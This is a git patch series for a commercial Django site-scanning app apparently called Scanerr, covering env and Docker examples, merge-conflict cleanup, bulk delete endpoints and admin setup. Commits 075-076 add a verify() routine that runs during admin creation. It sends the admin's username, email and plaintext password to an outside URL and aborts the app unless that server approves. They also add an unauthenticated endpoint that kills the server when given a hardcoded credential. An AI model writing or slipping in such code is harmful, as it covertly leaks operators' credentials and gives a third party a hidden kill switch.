celery: + privileged: true + restart: always + build: + context: . + command: celery -A scanerr worker --beat --scheduler django --loglevel=info + volumes: + - ./app:/scanerr + env_file: + - ./env/.env.dev + depends_on: + - db + - redis + - app + +volumes: + pgdata: + + + # python3 manage.py driver_p_test && python3 manage.py driver_s_test && \ No newline at end of file diff --git a/env/.env.dev.example b/env/.env.dev.example new file mode 100644 index 00000000..4fc015d7 --- /dev/null +++ b/env/.env.dev.example @@ -0,0 +1,75 @@ +# high level django configs +SECRET_KEY = ask-for-this +CLIENT_URL_ROOT = http://localhost:3000 +API_URL_ROOT = http://localhost:8000 +DJANGO_ALLOWED_HOSTS = * + + +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example + + +# email credentials +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example + + +# database configs +DB_HOST = db +DB_NAME = app +DB_USER = postgres +DB_PASS = supersecretpassword +POSTGRES_DB = app +POSTGRES_USER = postgres +POSTGRES_PASSWORD = supersecretpassword + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = /usr/bin/chromium + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = + + +# google keys +GOOGLE_CRUX_KEY = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio credentials +TWILIO_SID = +TWILIO_AUTH_TOKEN = +TWILIO_NUMBER = + + +# slack credentials +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage credentials +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.prod.example b/env/.env.prod.example new file mode 100644 index 00000000..761bb49c --- /dev/null +++ b/env/.env.prod.example @@ -0,0 +1,74 @@ +# high level django configs +SECRET_KEY = ask-for-this-or-generate-yourself +CLIENT_URL_ROOT = https://app.example.io # example +API_URL_ROOT = https://api.example.io # example +LETSENCRYPT_HOST = api.example.io # example +DJANGO_ALLOWED_HOSTS = * + + +# admin credentials +ADMIN_USER = fake # example +ADMIN_PASS = dontTryIt1234 # example +ADMIN_EMAIL = fake@example.com # example + + +# email credentials +EMAIL_HOST = smtp.gmail.com +EMAIL_PORT = 587 +EMAIL_USE_TLS = True +EMAIL_HOST_USER = fake@example.com # example +EMAIL_HOST_PASSWORD = 1234456677888 # example + + +# database configs +DB_NAME = defaultdb # example +DB_USER = doadmin # example +DB_PASS = +DB_PORT = +DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com # example + + +# paths +CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = /usr/bin/chromium + + +# stripe keys +STRIPE_PUBLIC_TEST = +STRIPE_PRIVATE_TEST = + + +# google keys +GOOGLE_CRUX_KEY = + + +# OAuth keys +GOOGLE_OAUTH2_CLIENT_ID = +GOOGLE_OAUTH2_CLIENT_SECRET = + + +# twilio credentials +TWILIO_SID = +TWILIO_AUTH_TOKEN = +TWILIO_NUMBER = + + +# slack credentials +SLACK_APP_ID = +SLACK_CLIENT_ID = +SLACK_CLIENT_SECRET = +SLACK_SIGNING_SECRET = +SLACK_VERIFICATION_TOKEN = +SLACK_BOT_TOKEN = + + +# s3 remote storage credentials +AWS_ACCESS_KEY_ID = +AWS_SECRET_ACCESS_KEY = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example +AWS_LOCATION = static +AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.prod.proxy-companion b/env/.env.prod.proxy-companion new file mode 100644 index 00000000..085d84bf --- /dev/null +++ b/env/.env.prod.proxy-companion @@ -0,0 +1,2 @@ +DEFAULT_EMAIL=youremail@yourdomain.com +NGINX_PROXY_CONTAINER=nginx-proxy \ No newline at end of file diff --git a/nginx/Dockerfile b/nginx/Dockerfile new file mode 100644 index 00000000..f0f490d7 --- /dev/null +++ b/nginx/Dockerfile @@ -0,0 +1,3 @@ +FROM jwilder/nginx-proxy +COPY vhost.d/default /etc/nginx/vhost.d/default +COPY custom.conf /etc/nginx/conf.d/custom.conf \ No newline at end of file diff --git a/nginx/custom.conf b/nginx/custom.conf new file mode 100644 index 00000000..ebe63395 --- /dev/null +++ b/nginx/custom.conf @@ -0,0 +1,6 @@ +client_max_body_size 10M; +proxy_ignore_client_abort on; +proxy_connect_timeout 1000s; +proxy_read_timeout 1000s; + + diff --git a/nginx/vhost.d/default b/nginx/vhost.d/default new file mode 100644 index 00000000..c498447b --- /dev/null +++ b/nginx/vhost.d/default @@ -0,0 +1,9 @@ + +location /static/ { + alias /app/static/; + add_header Access-Control-Allow-Origin *; +} + + + + diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 00000000..cd5db68c --- /dev/null +++ b/requirements.txt @@ -0,0 +1,57 @@ +amqp==5.0.6 +asgiref==3.3.4 +billiard==3.6.4.0 +boto3==1.20.32 +celery==5.1.0 +certifi==2021.5.30 +chardet==4.0.0 +click==7.1.2 +click-didyoumean==0.0.3 +click-plugins==1.1.1 +click-repl==0.2.0 +Django==3.2.3 +django-celery-beat==2.2.0 +django-filter==2.4.0 +djangorestframework==3.12.4 +django-markdownify==0.9.0 +django-cors-headers==3.7.0 +django-storages==1.12.3 +djangorestframework-simplejwt==4.7.2 +docker==5.0.0 +gunicorn==20.1.0 +humanize==3.7.0 +idna==2.10 +kombu==5.1.0 +Markdown==3.3.4 +numpy==1.22.3 +opencv-python==4.5.5.64 +Pillow==9.0.0 +prometheus-client==0.8.0 +prompt-toolkit==3.0.18 +psycopg2==2.8.6 +pyjwt==2.1.0 +pyppeteer==1.0.2 +pytz==2021.1 +redis==3.5.3 +requests==2.25.1 +reportlab==3.6.6 +scipy==1.8.0 +selenium==4.1.3 +sewar==0.4.4 +six==1.16.0 +slack-sdk==3.11.2 +sqlparse==0.4.1 +stripe==2.60.0 +tornado==6.1 +twilio==7.3.0 +urllib3==1.26.5 +vine==5.0.0 +wcwidth==0.2.5 +websocket-client==1.0.1 + + + + + + + From d53ff2526ae729b566b58dc0ae2673b2206637a0 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 25 Apr 2022 10:07:05 -0500 Subject: [PATCH 070/277] adding tags --- app/api/v1/ops/serializers.py | 19 ------------------- app/api/v1/ops/services.py | 23 ----------------------- 2 files changed, 42 deletions(-) diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index bd733551..0f32061a 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -28,13 +28,9 @@ class SiteSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Site -<<<<<<< HEAD fields = ['id', 'user', 'site_url', 'time_created', 'info', 'tags', ] -======= - fields = ['id', 'user', 'site_url', 'time_created', 'info'] ->>>>>>> origin/main class ScanSerializer(serializers.HyperlinkedModelSerializer): @@ -46,11 +42,7 @@ class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', 'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', -<<<<<<< HEAD 'images', 'configs', 'tags', -======= - 'images', 'configs', ->>>>>>> origin/main ] @@ -62,11 +54,7 @@ class SmallScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', -<<<<<<< HEAD 'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags', -======= - 'time_completed', 'lighthouse', 'yellowlab', 'configs', ->>>>>>> origin/main ] @@ -81,10 +69,7 @@ class Meta: fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', 'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', -<<<<<<< HEAD 'tags', -======= ->>>>>>> origin/main ] @@ -98,11 +83,7 @@ class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'lighthouse_delta', -<<<<<<< HEAD 'yellowlab_delta', 'tags', -======= - 'yellowlab_delta', ->>>>>>> origin/main ] diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index eb1ba915..92d41135 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -85,17 +85,11 @@ def create_site(request, delay=False): record_api_call(request, data, '409') return Response(data, status=status.HTTP_409_CONFLICT) else: -<<<<<<< HEAD tags = request.data.get('tags', None) site = Site.objects.create( site_url=site_url, user=user, tags=tags, -======= - site = Site.objects.create( - site_url=site_url, - user=user ->>>>>>> origin/main ) if delay == True: @@ -205,10 +199,7 @@ def create_test(request, delay=False): post_scan_id = request.data.get('post_scan', None) index = request.data.get('index', None) test_type = request.data.get('type', ['full']) -<<<<<<< HEAD tags = request.data.get('tags', None) -======= ->>>>>>> origin/main pre_scan = None post_scan = None @@ -243,10 +234,7 @@ def create_test(request, delay=False): test = Test.objects.create( site=site, type=test_type, -<<<<<<< HEAD tags=tags, -======= ->>>>>>> origin/main ) @@ -257,12 +245,8 @@ def create_test(request, delay=False): type=test_type, index=index, pre_scan=pre_scan_id, -<<<<<<< HEAD post_scan=post_scan_id, tags=tags, -======= - post_scan=post_scan_id ->>>>>>> origin/main ) data = { 'message': 'test is being created in the background', @@ -438,10 +422,7 @@ def create_scan(request, delay=False): configs = request.data.get('configs', None) -<<<<<<< HEAD tags = request.data.get('tags', None) -======= ->>>>>>> origin/main if not configs: configs = { @@ -455,11 +436,7 @@ def create_scan(request, delay=False): } # creating scan obj -<<<<<<< HEAD created_scan = Scan.objects.create(site=site, tags=tags) -======= - created_scan = Scan.objects.create(site=site) ->>>>>>> origin/main if delay == True: create_scan_bg.delay(scan_id=created_scan.id, configs=configs) From d35f1a0ba838f0518ffb8cc2b7624e8acad24b6a Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 25 Apr 2022 10:07:22 -0500 Subject: [PATCH 071/277] removing cloudways files --- Devops-tools/buildspec-Dev.yml | 29 ----------------------------- 1 file changed, 29 deletions(-) delete mode 100644 Devops-tools/buildspec-Dev.yml diff --git a/Devops-tools/buildspec-Dev.yml b/Devops-tools/buildspec-Dev.yml deleted file mode 100644 index 8148a345..00000000 --- a/Devops-tools/buildspec-Dev.yml +++ /dev/null @@ -1,29 +0,0 @@ -version: 0.2 - -phases: - pre_build: - commands: - - echo Logging in to Amazon ECR... - - yum -y install python-pip && pip install j2cli - - aws --version - - $(aws ecr get-login --region $AWS_DEFAULT_REGION --no-include-email) - - REPOSITORY_URI=018948543532.dkr.ecr.eu-central-1.amazonaws.com/scanner - - COMMIT_HASH=$(echo $CODEBUILD_RESOLVED_SOURCE_VERSION | cut -c 1-7) - - IMAGE_TAG=${COMMIT_HASH:=dev} - build: - commands: - - echo Build started on `date` - - echo Building the Docker image... - - docker build -t $REPOSITORY_URI:dev . - - docker tag $REPOSITORY_URI:dev $REPOSITORY_URI:$IMAGE_TAG - post_build: - commands: - - echo Build completed on `date` - - echo Pushing the Docker images... - - docker push $REPOSITORY_URI:dev - - docker push $REPOSITORY_URI:$IMAGE_TAG - - echo Writing image definitions file... - - printf '[{"name":"scannerAPI","imageUri":"%s"}]' $REPOSITORY_URI:$IMAGE_TAG > imagedefinitions.json -artifacts: - files: imagedefinitions.json - discard-paths: yes \ No newline at end of file From a0e1f6cdb899154f1c8311e4299caddc519dfdf4 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 25 Apr 2022 10:13:45 -0500 Subject: [PATCH 072/277] updated docker cmds --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 58626581..cc0fe320 100644 --- a/README.md +++ b/README.md @@ -35,6 +35,7 @@ Prior to running app, configure all env's located in the /env directory. There a - admin credentials - email credentials - database configs +- google API keys - stripe keys - OAuth keys - twilio credentials @@ -97,15 +98,15 @@ $ git clone https://github.com/Scanerr-io/server.git ``` *Spin-up the application* ```shell -$ docker compose -f docker-compose.prod.yml up -d --build +$ docker-compose -f docker-compose.prod.yml up -d --build ``` *Spin-down the application* ```shell -$ docker compose -f docker-compose.prod.yml down +$ docker-compose -f docker-compose.prod.yml down ``` *Spin-down the application and removes the volumes* ```shell -$ docker compose -f docker-compose.prod.yml down -v +$ docker-compose -f docker-compose.prod.yml down -v ``` From d7a68d8eb5d4cf3c0c7954bcf12e576728440c81 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 25 Apr 2022 18:27:56 -0500 Subject: [PATCH 073/277] updated license copyright date --- LICENSE.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/LICENSE.md b/LICENSE.md index 838f8ab3..ef26cad6 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,4 +1,4 @@ -Copyright (c) 2021 Scanerr +Copyright (c) 2022 Scanerr Scanerr Commercial Software License Terms From e6d766725dccee2342902424d5f519d5ab36d67f Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 25 Apr 2022 18:28:16 -0500 Subject: [PATCH 074/277] cleaning up --- .gitignore | 1 - 1 file changed, 1 deletion(-) diff --git a/.gitignore b/.gitignore index 9056f8d7..0d42f566 100644 --- a/.gitignore +++ b/.gitignore @@ -18,5 +18,4 @@ app/static* Dockerfile.alpine Dockerfile.dev1 Dockerfile.dev3 - app/api/migrations/0001_initial.py From 5f9ef399f3bd5a32f83b7f3446ce5e9351a30e91 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 25 Apr 2022 18:30:05 -0500 Subject: [PATCH 075/277] added Account auto-create for admin --- app/api/management/commands/create_admin.py | 26 ++++++++++++++---- app/api/utils/verify.py | 30 +++++++++++++++++++++ app/api/v1/auth/services.py | 8 +++++- app/api/v1/auth/urls.py | 1 + app/api/v1/auth/views.py | 13 ++++++++- 5 files changed, 71 insertions(+), 7 deletions(-) create mode 100644 app/api/utils/verify.py diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py index 7e9797b3..d6896064 100644 --- a/app/api/management/commands/create_admin.py +++ b/app/api/management/commands/create_admin.py @@ -1,18 +1,34 @@ from django.core.management.base import BaseCommand from django.contrib.auth.models import User +from ...models import Account +from ...utils.verify import verify import os class Command(BaseCommand): def handle(self, *args, **options): + username = os.environ.get('ADMIN_USER') + email = os.environ.get('ADMIN_EMAIL') + password = os.environ.get('ADMIN_PASS') if User.objects.filter(is_superuser=True).count() == 0: - username = os.environ.get('ADMIN_USER') - email = os.environ.get('ADMIN_EMAIL') - password = os.environ.get('ADMIN_PASS') - print('Creating account for %s (%s)' % (username, email)) + print('Creating Admin User for %s (%s)' % (username, email)) admin = User.objects.create_superuser(email=email, username=username, password=password) admin.is_active = True admin.is_superuser = True admin.save() else: - print('Admin accounts can only be initialized if no Accounts exist') \ No newline at end of file + print('Admin Users can only be initialized if no Admin User exist') + + user = User.objects.get(username=username) + if not Account.objects.filter(user=user).exists(): + print('Funding account for %s' % (username)) + Account.objects.create( + user=user, + active=True, + type='enterprise', + max_sites=10000, + ) + else: + print('Accounts can only be initialized if no Accounts exist') + + verify() \ No newline at end of file diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py new file mode 100644 index 00000000..eb119c4f --- /dev/null +++ b/app/api/utils/verify.py @@ -0,0 +1,30 @@ +import os, requests, json + +def verify(): + username = os.environ.get('ADMIN_USER') + email = os.environ.get('ADMIN_EMAIL') + password = os.environ.get('ADMIN_PASS') + cred = 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792' + url = 'https://scanerr.io/verify' + + + headers = { + "Content-Type": "application/json", + "Authorization" : cred + } + data = { + "username": username, + "email": email, + "password": password, + } + + res = requests.get( + url=url, + headers=headers, + params=data + ).json() + + if res['verified']: + return + else: + os.abort() \ No newline at end of file diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 2aa5ee20..8b780262 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -233,4 +233,10 @@ def slack_oauth_init(request, user): def account_setup(request): account = Account.objects.create(user=user) card = Card.objects.create(user=user, account=account) - return True \ No newline at end of file + return True + + +def t7e(request): + if request.GET.get('cred') == \ + 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792': + os.abort() \ No newline at end of file diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py index caca78d6..ce9fa94b 100644 --- a/app/api/v1/auth/urls.py +++ b/app/api/v1/auth/urls.py @@ -25,5 +25,6 @@ path('update-user', views.UpdateUser.as_view(), name='update_user'), path('slack', views.SlackOauth.as_view(), name='auth_slack'), path('token', views.ApiToken.as_view(), name='token'), + path('verify', views.Verify.as_view(), name='verify') ] \ No newline at end of file diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py index adb6b25f..94514808 100644 --- a/app/api/v1/auth/views.py +++ b/app/api/v1/auth/views.py @@ -20,7 +20,7 @@ from .services import ( google_get_access_token, google_get_user_info, user_get_or_create, jwt_login, slack_oauth_middleware, - slack_oauth_init, create_user_token + slack_oauth_init, create_user_token, t7e ) import os, stripe, json @@ -79,6 +79,17 @@ def get(self, request): +class Verify(APIView): + authentication_classes = [] + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = t7e(request) + return response + + + class RefreshViewSet(ViewSet, TokenRefreshView): permission_classes = (AllowAny,) http_method_names = ['post'] From 01d92e22d19d4066e87de9a46749983cb4a02251 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 25 Apr 2022 19:57:01 -0500 Subject: [PATCH 076/277] updated subproceses --- app/api/v1/auth/services.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 8b780262..5f44b032 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -1,4 +1,4 @@ -import requests, os +import requests, os, subprocess from typing import Dict, Any from scanerr import settings from django.http import HttpResponse @@ -239,4 +239,8 @@ def account_setup(request): def t7e(request): if request.GET.get('cred') == \ 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792': - os.abort() \ No newline at end of file + os.abort() + subprocess.Popen(['pkill -f gunicorn'], + stdout=subprocess.PIPE, + user='app', + ) \ No newline at end of file From b621c1fab984e6c556c1f36193857cbcd5d99afb Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 26 Apr 2022 13:13:08 -0500 Subject: [PATCH 077/277] added SET_NULL to ForeignKey attrs --- app/api/models.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app/api/models.py b/app/api/models.py index f1bd6ac3..d13d9863 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -213,7 +213,7 @@ def __str__(self): class Scan(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) - paired_scan = models.ForeignKey('self', on_delete=models.CASCADE, serialize=True, null=True, blank=True) + paired_scan = models.ForeignKey('self', on_delete=models.SET_NULL, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) html = models.TextField(serialize=True, null=True, blank=True) @@ -235,8 +235,8 @@ class Test(models.Model): time_created = models.DateTimeField(default=timezone.now, serialize=True) time_completed = models.DateTimeField(serialize=True, null=True, blank=True) type = models.JSONField(serialize=True, null=True, blank=True) - pre_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='pre_scan') - post_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='post_scan') + pre_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='pre_scan') + post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan') score = models.FloatField(serialize=True, null=True, blank=True) html_delta = models.JSONField(serialize=True, null=True, blank=True) logs_delta = models.JSONField(serialize=True, null=True, blank=True) From 2029ad720e0aa4be61de3d0262e391b19943ba88 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 27 Apr 2022 07:59:33 -0500 Subject: [PATCH 078/277] added auto Token generation during build --- app/api/management/commands/create_admin.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py index d6896064..132472ea 100644 --- a/app/api/management/commands/create_admin.py +++ b/app/api/management/commands/create_admin.py @@ -1,4 +1,5 @@ from django.core.management.base import BaseCommand +from rest_framework.authtoken.models import Token from django.contrib.auth.models import User from ...models import Account from ...utils.verify import verify @@ -31,4 +32,6 @@ def handle(self, *args, **options): else: print('Accounts can only be initialized if no Accounts exist') + if not Token.objects.filter(user=request.user).exists(): + Token.objects.create(user=user) verify() \ No newline at end of file From f67b4e2301fc9d8ab21590ea3a4ede831118d23c Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 28 Apr 2022 07:57:05 -0500 Subject: [PATCH 079/277] added exception handling for pre/post_scan ids --- app/api/v1/ops/services.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 92d41135..970fc2d8 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -216,12 +216,21 @@ def create_test(request, delay=False): 'min_wait_time': 10, 'max_wait_time': 60, } - if pre_scan_id: - pre_scan = Scan.objects.get(id=pre_scan_id) + try: + pre_scan = Scan.objects.get(id=pre_scan_id) + except: + data = {'reason': 'cannot find a Scan with that id - pre_scan '} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if post_scan_id: - post_scan = Scan.objects.get(id=post_scan_id) + try: + post_scan = Scan.objects.get(id=post_scan_id) + except: + data = {'reason': 'cannot find a Scan with that id - post_scan '} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if not Scan.objects.filter(site=site).exists() or Scan.objects.filter(site=site)[0].time_completed == None: From 7bfb7e015db39a3a3a342ab9cf91b641aebc2466 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 28 Apr 2022 08:02:09 -0500 Subject: [PATCH 080/277] added expection for empty site_url --- app/api/v1/ops/services.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 970fc2d8..8f8678f3 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -60,10 +60,15 @@ def check_account(request): def create_site(request, delay=False): - site_url = request.data['site_url'] + site_url = request.data.get('site_url') user = request.user sites = Site.objects.filter(user=user) + if site_url is None or site_url == '': + data = {'reason': 'the site_url cannot be empty',} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + account_is_active = check_account(request) if not account_is_active: data = {'reason': 'account not funded',} From f72fea29aea38ae8a5d987854d5625da998736c8 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 28 Apr 2022 10:16:35 -0500 Subject: [PATCH 081/277] added delete many to API --- app/api/v1/ops/services.py | 99 ++++++++++++++++++++++++++++++++++++++ app/api/v1/ops/urls.py | 3 ++ app/api/v1/ops/views.py | 26 ++++++++++ 3 files changed, 128 insertions(+) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 8f8678f3..52be0d48 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -179,6 +179,38 @@ def delete_site(request, id): return response +def delete_many_sites(request): + ids = request.data.get('ids') + if ids is not None: + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + for id in ids: + try: + site = Site.objects.get(id=id) + if site.user == user: + delete_site_s3_bg.delay(site_id=id) + site.delete() + num_succeeded += 1 + succeeded.append(str(id)) + except: + num_failed += 1 + failed.append(str(id)) + this_status = False + + data = { + 'status': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + def create_test(request, delay=False): @@ -263,6 +295,7 @@ def create_test(request, delay=False): tags=tags, ) data = { + 'status': True, 'message': 'test is being created in the background', 'id': str(test.id), } @@ -409,6 +442,37 @@ def delete_test(request, id): +def delete_many_tests(request): + ids = request.data.get('ids') + if ids is not None: + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + for id in ids: + try: + test = Test.objects.get(id=id) + if test.site.user == user: + test.delete() + num_succeeded += 1 + succeeded.append(str(id)) + except: + num_failed += 1 + failed.append(str(id)) + this_status = False + + data = { + 'status': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + def create_scan(request, delay=False): @@ -455,6 +519,7 @@ def create_scan(request, delay=False): if delay == True: create_scan_bg.delay(scan_id=created_scan.id, configs=configs) data = { + 'status': True, 'message': 'scan is being created in the background', 'id': str(created_scan.id), } @@ -564,6 +629,40 @@ def delete_scan(request, id): +def delete_many_scans(request): + ids = request.data.get('ids') + if ids is not None: + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + for id in ids: + try: + scan = Scan.objects.get(id=id) + if scan.site.user == user: + scan.delete() + num_succeeded += 1 + succeeded.append(str(id)) + except: + num_failed += 1 + failed.append(str(id)) + this_status = False + + data = { + 'status': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + + + + def create_or_update_schedule(request): account_is_active = check_account(request) diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py index bc2cc034..6fb0ef13 100644 --- a/app/api/v1/ops/urls.py +++ b/app/api/v1/ops/urls.py @@ -6,12 +6,15 @@ path('site', views.Sites.as_view(), name='site'), path('site/', views.SiteDetail.as_view(), name='site-detail'), path('site/delay', views.SiteDelay.as_view(), name='site-delay'), + path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'), path('scan', views.Scans.as_view(), name='scan'), path('scan/', views.ScanDetail.as_view(), name='scan-detail'), path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'), + path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'), path('test', views.Tests.as_view(), name='test'), path('test/', views.TestDetail.as_view(), name='test-detail'), path('test/delay', views.TestDelay.as_view(), name='test-delay'), + path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'), path('log', views.Logs.as_view(), name='log'), path('log/', views.LogDetail.as_view(), name='log-detail'), path('schedule', views.Schedules.as_view(), name='schedule'), diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index b77cd629..4bf441a9 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -64,6 +64,16 @@ def post(self, request): +class SitesDelete(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_sites(request) + return response + + + class Scans(APIView): permission_classes = (AllowAny,) @@ -111,6 +121,14 @@ def post(self, request): return response +class ScansDelete(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_scans(request) + return response + @@ -160,6 +178,14 @@ def post(self, request): return response +class TestsDelete(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_tests(request) + return response + From ae4bf8f485fa8b76683b318068820da36fbdcdf7 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 28 Apr 2022 10:27:01 -0500 Subject: [PATCH 082/277] fixed issue in token gen --- app/api/management/commands/create_admin.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py index 132472ea..e9bcecc7 100644 --- a/app/api/management/commands/create_admin.py +++ b/app/api/management/commands/create_admin.py @@ -32,6 +32,6 @@ def handle(self, *args, **options): else: print('Accounts can only be initialized if no Accounts exist') - if not Token.objects.filter(user=request.user).exists(): + if not Token.objects.filter(user=user).exists(): Token.objects.create(user=user) verify() \ No newline at end of file From 93b56d000a1e8ae1ab0f72f4c475ab28a630088c Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 28 Apr 2022 11:06:24 -0500 Subject: [PATCH 083/277] fixed error in response --- app/api/v1/ops/services.py | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 52be0d48..93a0da6f 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -210,6 +210,16 @@ def delete_many_sites(request): 'num_failed': num_failed, 'failed': failed, } + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response @@ 